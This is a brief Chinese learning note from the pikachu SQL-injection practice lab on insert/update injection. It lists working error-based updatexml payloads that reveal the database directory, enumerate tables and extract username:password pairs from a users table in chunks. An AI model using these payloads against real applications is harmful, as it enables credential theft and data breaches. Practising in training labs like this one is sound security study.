pikachu sql注入“insert/update注入”

updatexml式注入

基础语句：id=x' or updatexml(1,concat(0x7e,(payload)),0) # 

今日所学：

@@datadir：爆数据库文件所在位置

substr函数：substr(string,start<,length>)从string 的start位置开始提取字符串
length:待提取的字符串的长度，若length为一下情况时，返回整个字符串的所有字符。
1、length不指定
2、length为空
3、length为负值
4、length大于字符串的长度

1' and updatexml(1,concat(0x7e,(select @@datadir)),1) and'

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) and'

1' and updatexml(1,concat(0x7e,substr((select group_concat(concat_ws(':', username,password)) from users),1,31)),1) and'

1' and updatexml(1,concat(0x7e,substr((select group_concat(concat_ws(':', username,password)) from users),32,31)),1) and'